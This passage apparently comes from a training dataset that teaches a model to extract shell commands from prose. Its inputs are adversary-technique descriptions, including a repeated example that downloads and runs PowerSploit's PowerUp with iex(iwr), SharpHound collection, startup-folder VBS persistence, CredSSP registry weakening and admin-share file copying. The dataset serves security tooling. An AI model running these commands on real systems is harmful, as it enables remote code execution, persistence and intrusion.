    "output": "{\"command_list\": [\"Invoke-WebRequest #{domain} -UserAgent \\\"HttpBrowser/1.0\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Wget/1.9+cvs-stable (Red Hat modified)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Opera/8.81 (Windows NT 6.0; U; en)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"*<|>*\\\" | out-null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To export the current local security policy, you can use the following command: secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt",
    "output": "{\"command_list\": [\"secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can find all IE bookmarks by executing this command: dir /s /b %USERPROFILE%\\Favorites\n",
    "output": "{\"command_list\": [\"dir /s /b %USERPROFILE%\\\\Favorites\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence, VBS files can be placed in the startup folder and executed using these commands: Copy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"",
    "output": "{\"command_list\": [\"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation runs a CHM file through the Shortcut Command approach, employing the command: Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To evade Scarab Ransomware defenses by modifying Credential Security Support Provider settings, use the following command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\CredSSP\\\\Parameters\\\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker would enumerate EC2 Security Groups with this AWS CLI command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\n",
    "output": "{\"command_list\": [\"aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying files from a network computer's admin share, run the following PowerShell command: copy-item -Path \"\\\\#{remote}\\C$\\#{share_file}\" -Destination \"$Env:TEMP\\#{local_file}\"",
    "output": "{\"command_list\": [\"copy-item -Path \\\"\\\\\\\\#{remote}\\\\C$\\\\#{share_file}\\\" -Destination \\\"$Env:TEMP\\\\#{local_file}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", 